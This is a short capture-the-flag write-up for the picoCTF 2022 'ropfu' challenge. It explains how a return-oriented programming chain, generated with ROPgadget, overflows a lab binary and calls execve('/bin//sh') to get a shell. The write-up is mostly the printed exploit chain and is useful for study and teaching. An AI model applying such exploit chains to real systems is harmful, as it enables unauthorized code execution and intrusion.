# ropfu
## Description

_--missing--_

# Solve
This challenged was solved by finding the offset of `rip` then using `ROPgadget` to generate a payload with the following:

```bash
$ ROPgadget --binary vuln --ropchain
ROP chain generation
==========================================================

<snip>

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
```

This payload is then added to out script with the offset prepended to get a shell on the CTF server

## Script
See the full solve script here -> [solve.py](./solve.py)

Original writeup (https://github.com/elemental-unicorn/picoctf-2022/tree/master/binary_exp/ropfu).